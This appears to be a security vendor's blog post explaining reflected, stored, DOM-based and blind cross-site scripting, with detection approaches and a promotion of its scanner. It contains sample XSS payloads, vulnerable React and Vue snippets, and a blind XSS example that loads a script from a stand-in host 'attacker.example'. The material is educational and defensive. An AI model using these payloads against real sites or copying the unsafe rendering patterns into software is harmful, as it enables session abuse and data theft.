Blog
AppSec Blog

Types of XSS attacks: Reflected, stored, DOM-based, and blind XSS

 - 
July 24, 2026

Cross-site scripting (XSS) has been a web application security problem for more than two decades, and it remains relevant as application architectures create new places for unsafe content to execute. Modern applications use complex frontend frameworks, third-party scripts, single-page application (SPA) patterns, application programming interface (API)-driven interfaces, AI-generated code, and backend dashboards – all of which can introduce additional XSS attack paths.

The OWASP Top 10:2025 includes XSS under A05:2025 Injection, reflecting its continued importance as a web application security risk.

You information will be kept Private
Table of Contents

XSS is commonly categorized as reflected, stored, and DOM-based. Blind XSS is an important stored or second-order variant that requires a different detection method, so this guide treats it separately. Together, these four forms cover the main XSS behaviors that security and development teams need to understand and test.

What is cross-site scripting?

Cross-site scripting is a web security vulnerability that allows attacker-controlled code to execute in another user’s browser within the context of a trusted website or application.

Although JavaScript is the most common payload language, the underlying issue is broader: untrusted input reaches an executable browser context without appropriate encoding, sanitization, or safe DOM handling. Because the browser treats the content as part of the legitimate application, attacker-controlled code may be able to access page data and browser APIs or perform actions available to the victim.

Depending on the application and the victim’s permissions, XSS can be used to:

  • Capture credentials entered into forms
  • Perform actions as the victim
  • Modify page content
  • Redirect users to phishing pages
  • Exfiltrate sensitive data available to the page
  • Compromise admin or support sessions
  • Deliver malicious content through a trusted application

The HttpOnly attribute prevents JavaScript from reading a cookie directly through document.cookie, limiting one specific session-theft technique. It does not prevent XSS or materially contain its broader impact: injected code can still read page content, capture user input, make authenticated requests, and perform actions with the victim’s permissions.

Quick reference: Four major forms of XSS

Where the payload originates or persists Who triggers it Typical detection challenge Key risk
Reflected XSS Attacker-controlled request data reflected in a response A user follows a crafted link or submits attacker-controlled input Confirming execution in the correct output context Targeted account compromise or phishing
Stored XSS Database, file, comment, profile, ticket, message, or other persistent storage Any user who views the stored content Following multi-step storage and rendering workflows Persistent impact across multiple users
DOM-based XSS Attacker-controlled data processed by client-side JavaScript A user loads a crafted page, route, or URL Executing JavaScript and tracing data from source to sink Client-side execution that response-only testing may miss
Blind XSS Stored input rendered later in an internal or otherwise hidden interface An admin, support agent, reviewer, or other internal user Detecting delayed execution outside the tester’s visible workflow Compromise of a privileged session or internal application

Each form calls for a different testing approach. Reflected XSS can often be tested within one request-response cycle. Stored XSS requires submission and later observation. DOM-based XSS requires JavaScript execution and source-to-sink analysis. Blind XSS typically requires out-of-band (OOB) detection to confirm delayed execution.

Reflected XSS

Reflected XSS occurs when an application takes attacker-controlled input from an HTTP request and includes it in the immediate response without context-appropriate output encoding or other effective safeguards.

The payload is not stored by the application. Instead, it is reflected to the user in a server-generated response.

A simple example is a search page that displays a search term:

<p>You searched for: <script>alert('XSS')</script></p>

If the application inserts the search parameter directly into an executable HTML context, the browser may run the script. Real exploitability depends on the output context, browser parsing, application behavior, and controls such as Content Security Policy (CSP).

How reflected XSS works

A reflected XSS attack often relies on social engineering. An attacker creates a request containing a payload and persuades the victim to send that request to the vulnerable application, commonly by following a crafted URL.

For example:

https://example.com/search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E

The payload is usually URL-encoded. It may be delivered through email, messaging platforms, social media, QR codes, advertisements, or another trusted-looking channel. Reflected XSS can also be triggered through attacker-controlled form submissions or embedded requests, so it does not always require a conventional link click.

When the application reflects the payload into an unsafe browser context, the browser may execute it as content from the trusted site.

What reflected XSS can do

Reflected XSS can be used to:

  • Capture credentials entered into a modified form
  • Redirect users to a fraudulent login page
  • Perform actions within the victim’s authenticated session
  • Change the page displayed to the victim
  • Access sensitive page data
  • Support targeted phishing campaigns

Reflected XSS often affects one victim per delivered request, but it can still have serious consequences when attackers target privileged users or distribute the malicious request at scale.

Why reflected XSS still happens

Reflected XSS persists because applications continue to place user-controlled input into HTML, JavaScript, URL, CSS, or attribute contexts without applying the correct context-specific encoding.

Common causes include:

  • Search terms displayed without output encoding
  • Error messages that include request data
  • Redirect values written into pages
  • Debug information returned to users
  • API response values rendered directly in frontend views
  • Unsafe server-side templates

Dynamic application security testing (DAST) tools can often test reflected XSS efficiently because the input and potentially vulnerable output appear in the same request-response cycle. Accurate confirmation still requires the scanner to determine whether the payload can execute, rather than merely checking whether a test string was reflected.

Stored XSS

Stored XSS, also called persistent XSS, occurs when an application saves attacker-controlled content and later renders it in an unsafe browser context.

The payload might be stored in:

  • Blog comments
  • Forum posts
  • Product reviews
  • User profile fields
  • Chat messages
  • Support tickets
  • Customer relationship management (CRM) notes
  • Application logs
  • Admin dashboards
  • Notification templates

Unlike a typical reflected XSS attack, stored XSS does not require the attacker to deliver a separate crafted request to each victim. Once the payload is stored, users may trigger it simply by viewing the affected content.

How stored XSS works

An attacker submits content containing an executable payload:

Great post! <img src="x" onerror="alert(document.domain)">

The application stores the content. Later, another user loads a page where the content appears. If the application renders it without appropriate encoding or sanitization, the browser may execute the payload.

This example is intentionally benign. A real attack could attempt to access data available to the page, alter application behavior, or perform actions within the victim’s session.

Why stored XSS is often more dangerous

Stored XSS can have broader impact than reflected XSS because it is persistent and may execute for many users without further delivery by the attacker.

Depending on where the payload is stored and rendered, it can:

  • Affect every user who views a page
  • Execute without additional phishing
  • Persist until the stored content is removed or safely handled
  • Target administrators who review user-submitted content
  • Spread through user-generated content
  • Become worm-like if the payload can create new copies of itself

The Samy worm on MySpace remains a well-known example of stored XSS propagation. In 2005, the payload spread across more than one million profiles, showing how quickly persistent browser-executed code can scale when user-generated content is rendered unsafely.

Stored XSS is not always more severe than reflected XSS. Actual risk depends on factors such as the affected users, the application’s sensitivity, payload reach, available privileges, and whether security controls limit execution.

Stored XSS detection

Stored XSS requires multi-step testing. A scanner or tester generally needs to:

  1. Submit a unique test payload through an input.
  2. Track where the application stores or processes that value.
  3. Locate pages or workflows where the value is later rendered.
  4. Load the rendering context.
  5. Confirm whether the payload can execute.

This is harder than testing many reflected XSS cases because submission and execution may occur in different pages, workflows, roles, sessions, or applications.

DOM-based XSS

DOM-based XSS occurs when client-side JavaScript reads attacker-controlled data and passes it to an unsafe sink that creates an executable browser context.

The defining issue is the client-side data flow. The server response may be safe, and the vulnerable behavior may emerge only after JavaScript runs in the browser. Some DOM-based payloads never reach the server, while others originate from data that previously passed through a server or API.

How DOM-based XSS works

DOM-based XSS depends on sources and sinks.

A source is a location from which JavaScript reads potentially attacker-controlled data. Common sources include:

  • document.location
  • document.URL
  • location.hash
  • location.search
  • document.referrer
  • window.name
  • localStorage
  • sessionStorage
  • Data received through postMessage()

A sink is a function or property that may create an executable context when it receives unsafe data. Common sinks include:

  • innerHTML
  • outerHTML
  • document.write()
  • eval()
  • Function()
  • setTimeout() with string input
  • setInterval() with string input
  • Navigation to a javascript: URL

For example:

const value = document.location.hash.substring(1);
document.getElementById("result").innerHTML = value;

A crafted URL might contain:

https://example.com/#<img src=x onerror=alert(document.domain)>

In normal browser navigation, the fragment portion of a URL is not included in the HTTP request sent to the server. In this example, client-side JavaScript reads the fragment and writes it to innerHTML, which may cause the event handler to execute.

DOM XSS in modern frameworks

Frameworks such as React, Vue, and Angular provide automatic escaping in many standard rendering paths. XSS risk returns when developers bypass those protections, use unsafe APIs, trust unverified HTML, or manipulate the DOM directly.

React example:

// Vulnerable when userInput is untrusted
function SearchResult({ userInput }) {
  return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}

// Safer for plain text
function SearchResult({ userInput }) {
  return <div>{userInput}</div>;
}

Vue example:

<!-- Vulnerable when userContent is untrusted -->
<div v-html="userContent"></div>

<!-- Safer for plain text -->
<div>{{ userContent }}</div>

These escape hatches have legitimate uses, but when an application genuinely needs to render untrusted HTML, it should sanitize that content with a well-maintained, context-appropriate library such as DOMPurify and keep the library updated. The framework’s normal escaped rendering should remain the default everywhere else. Sanitization policies also need testing because parser behavior, framework updates, and application-specific transformations can affect the result.

Why DOM XSS is harder to detect

DOM-based XSS can be harder to detect because:

  • The payload may not appear in server logs.
  • The server may return HTML that looks safe.
  • The vulnerable behavior depends on JavaScript execution.
  • The dangerous DOM mutation may occur after page load.
  • SPA routes may not be visible to basic crawlers.
  • Exploitability depends on a specific source-to-sink data flow.
  • The behavior may require user interaction or application state.

DAST tools need browser execution or accurate DOM simulation to test DOM-based XSS in modern JavaScript applications. Static analysis can also help identify suspicious source-to-sink paths, but runtime testing determines whether the path is reachable and exploitable in the running application.

Blind XSS

Blind XSS is a stored or second-order XSS variant in which the payload executes in a page or system that the attacker cannot directly observe.

This often occurs in backend tools such as:

  • Admin panels
  • Support dashboards
  • Ticketing systems
  • CRM tools
  • Moderation queues
  • Log viewers
  • Security review portals
  • Analytics dashboards
  • Internal notification systems

The attacker submits a payload through a public or low-privilege input. The payload executes later when an internal user or automated process renders that data in a browser context.

What makes blind XSS different

In an ordinary stored XSS workflow, the attacker or tester may be able to load the page where the payload appears.

With blind XSS, the execution point is hidden. The payload might run in a support agent’s browser, an admin dashboard, or an internal tool that is inaccessible from the public application. The original response does not show whether execution occurred.

For automated testing, the practical way to confirm this delayed execution is typically an OOB callback. A unique payload sends a harmless request to a controlled service when it runs, allowing the scanner or tester to associate the callback with the original input.

Blind XSS attack scenario

A public support form accepts a message field. An attacker submits:

I need help with my account.
<script src="https://attacker.example/payload.js"></script>

The application stores the message in a support database. Later, a support agent opens the ticket in an internal dashboard. If the dashboard renders the message without safe encoding or sanitization, the browser loads and executes the external script.

Depending on the dashboard and the agent’s permissions, the script may be able to:

  • Read ticket content available to the page
  • Perform actions as the support agent
  • Access customer records shown in the interface
  • Trigger password resets or workflow changes
  • Modify account data
  • Attempt to establish persistence in the internal application

The risk can be high because the victim may have access that an external user does not.

Why blind XSS is especially dangerous

Blind XSS often reaches internal users with elevated permissions, such as support agents, administrators, moderators, or security analysts.

This can create a path from low-privilege input to execution in a more privileged session. It is not automatically privilege escalation in every case, but it may enable privilege abuse or broader compromise when the internal user can access sensitive data and functions.

Blind XSS can also remain undiscovered for long periods because the vulnerable rendering point is outside the normal user-facing workflow and may not be covered by conventional request-response testing.

Detecting blind XSS

Blind XSS testing typically uses OOB detection. The test payload contains a unique callback reference that sends a request to a scanner-controlled service when it executes.

A benign example is:

<script src="https://callback.example/unique-test-id.js"></script>

If the callback service receives a request for the unique test ID, the payload executed somewhere. The callback can confirm execution without collecting cookies, page content, internal URLs, or other sensitive information.

Because execution may occur later and in a different session or application, the scanner needs to preserve the relationship between the submitted payload and the eventual callback.

Why response-only scanners miss blind XSS

Scanners limited to immediate request-response analysis look for evidence in their own HTTP exchange. Blind XSS breaks that model.

The scanner submits a payload, but execution may happen:

  • Minutes, hours, or days later
  • In another user’s session
  • In an internal admin page
  • In a third-party support tool
  • In a log viewer
  • In a workflow the scanner cannot crawl directly

OOB infrastructure provides the delayed feedback channel needed for automated blind XSS detection.

Additional XSS variants

Self-XSS

Self-XSS is a social engineering technique in which a victim is persuaded to paste JavaScript into their own browser console or another executable context. It does not, by itself, demonstrate that the application executes attacker-controlled code for other users, but it can still lead to account compromise. Related weaknesses such as clickjacking, cross-site request forgery, or unsafe browser workflows may sometimes remove or reduce the required user interaction as part of a broader exploit chain.

Mutation XSS

Mutation XSS, or mXSS, can occur when HTML that appears safe after sanitization is reparsed or normalized into a different DOM structure by the browser. Those parsing mutations may create executable elements or attributes that were not apparent in the sanitized string, exposing gaps between the sanitizer’s parsing model and the browser’s final interpretation.

Universal XSS

Universal XSS, or UXSS, exploits a browser or browser extension vulnerability rather than a flaw in one web application. A successful UXSS attack may bypass same-origin protections across multiple sites. These issues are normally handled as browser or extension security vulnerabilities.

Server-generated and client-side XSS paths

Reflected and stored XSS describe how attacker-controlled data reaches a page, while DOM-based XSS describes where the unsafe processing occurs. These categories can overlap.

For example, an application might store attacker-controlled content on the server and later pass it to client-side JavaScript, which writes it to an unsafe DOM sink such as innerHTML. That issue is both stored and DOM-based XSS.

This overlap is why testers need to follow the complete data flow rather than assigning a vulnerability to a category based only on where the input first entered the application.

Impacts of different XSS types

Reflected XSS Stored XSS DOM-based XSS Blind XSS
Session abuse Possible Possible Possible Possible
Credential capture Possible Possible Possible Possible
Action impersonation Possible Possible Possible Possible
Broad victim impact Usually limited per delivery Potentially high Depends on delivery and reach Depends on the affected backend workflow
Privileged user compromise Possible Possible Possible Common concern
Persistence in application data No Yes Not inherent Usually yes
Detection difficulty Often lower Medium Higher Highest

These comparisons are general. The severity of any XSS vulnerability depends on reachability, browser context, user privileges, available data and actions, application sensitivity, and compensating controls.

How Invicti tests for XSS

Invicti uses DAST to test running web applications and APIs across multiple execution contexts.

For reflected XSS, Invicti sends test payloads through discovered inputs and analyzes how the application returns and processes them. It does not rely only on finding a reflected string. Where safe and technically possible, proof-based scanning executes a harmless confirmation payload in the embedded browser environment to verify that the behavior is exploitable.

For stored XSS, Invicti can submit payloads through application inputs and check where those values later appear. Coverage depends on whether the scanner can reach the relevant submission and rendering workflows, including authenticated areas and multi-step processes.

For DOM-based XSS, Invicti uses browser-based crawling and DOM simulation to execute JavaScript and observe client-side behavior that HTTP-only scanning can miss. For confirmed DOM-based XSS, Invicti can provide technical context such as stack traces from its internal DOM simulation to help developers locate the source-to-sink path.

For blind and other second-order vulnerabilities, Invicti uses dedicated OOB infrastructure to detect callbacks that occur outside the immediate scan response. This allows the scanner to confirm execution even when the affected backend page is inaccessible or the payload fires later.

Not every potential vulnerability can be automatically confirmed. When confirmation is possible, proof-based scanning provides a proof of concept and marks the issue as confirmed, helping teams prioritize validated runtime risk and reducing the need for manual reproduction.

API inputs can also contribute to XSS when API-supplied data is later rendered in a browser. Effective testing therefore needs to cover both the API entry point and the browser context where the data is ultimately used.

Understanding XSS types is step one – testing is step two

Knowing how reflected, stored, DOM-based, and blind XSS differ helps teams select the right prevention and testing methods. Finding those vulnerabilities across a real application environment requires more than searching responses for script tags.

Modern XSS testing may require authenticated crawling, browser execution, stored-workflow coverage, API testing, safe exploit confirmation, and OOB detection. A DAST-first approach adds the runtime evidence needed to distinguish exploitable behavior from suspicious but unconfirmed data flows.

Conclusion

Reflected, stored, DOM-based, and blind XSS describe different delivery, persistence, and execution behaviors. Those differences determine how vulnerabilities should be prevented, detected, and confirmed.

Reflected XSS appears in an immediate response. Stored XSS persists in application data. DOM-based XSS results from unsafe client-side data processing. Blind XSS executes in a hidden or delayed workflow that the attacker cannot directly observe.

Reliable coverage requires more than simple reflection checks. Modern XSS testing can involve browser-based crawling, JavaScript execution, authenticated and multi-step workflows, API inputs, safe runtime confirmation, and OOB detection. Together, these capabilities provide the evidence teams need to find and prioritize exploitable XSS across real application environments.

Next steps

Frequently asked questions

Frequently asked questions about XSS types

What are the types of XSS attacks?

XSS is commonly categorized as reflected, stored, and DOM-based. Blind XSS is a stored or second-order variant that is often discussed separately because it executes in a hidden workflow and usually requires OOB confirmation. Reflected XSS returns attacker-controlled input in an immediate response, stored XSS persists the input for later rendering, and DOM-based XSS results from unsafe client-side data processing.

What is the difference between reflected and stored XSS?

Reflected XSS returns attacker-controlled request data in an immediate response. It often relies on delivering a crafted link or request to a victim. Stored XSS saves attacker-controlled content and later renders it to one or more users. Stored XSS can have broader reach because the payload persists, but severity depends on the affected context and users.

What is DOM-based XSS?

DOM-based cross-site scripting is a type of cross-site scripting (XSS) attack executed within the Document Object Model (DOM) of a page loaded into the browser. A DOM-based XSS attack is possible if the web application writes data to the DOM without proper sanitization.

Learn more about types of cross-site scripting attacks

Why is DOM XSS hard to detect?

DOM XSS depends on browser-side JavaScript execution and a reachable source-to-sink path. Server responses may appear safe, logs may not contain the payload, and the vulnerable behavior may occur only after rendering, route changes, or user interaction.

What is blind cross-site scripting?

Blind cross-site scripting is similar to stored cross-site scripting, but in a blind XSS attack, the web application stores the payload sent by an attacker and only executes it later – at a different time, in a different place, or possibly even in another web application.

Learn what is stored cross-site scripting.

Why is blind XSS dangerous?

Blind XSS may execute in the browser of a privileged internal user. Depending on that user’s access and the application context, the payload could expose sensitive records or perform administrative actions.

How to detect blind cross-site scripting?

Blind cross-site scripting is very difficult to detect because it can span more than one application. The tools used to scan your web applications must be advanced enough to recognize attacks that are initiated from one application but affect another.

Read more about cross-site scripting (XSS) in general.

Can React, Vue, and Angular applications have XSS?

Yes. These frameworks provide useful default escaping, but XSS can still occur through unsafe HTML-rendering APIs, direct DOM manipulation, vulnerable third-party components, trust-bypass functions, or attacker-controlled values passed to navigation sinks such as location.href, including unsafe javascript: URLs.

How does Invicti detect XSS?

Invicti tests reflected XSS through active payload injection and runtime analysis, stored XSS through submit-and-observe workflows, DOM-based XSS through browser execution and DOM simulation, and blind XSS through OOB callback detection. Where safe and technically possible, proof-based scanning confirms exploitable XSS with a proof of concept.

Table of Contents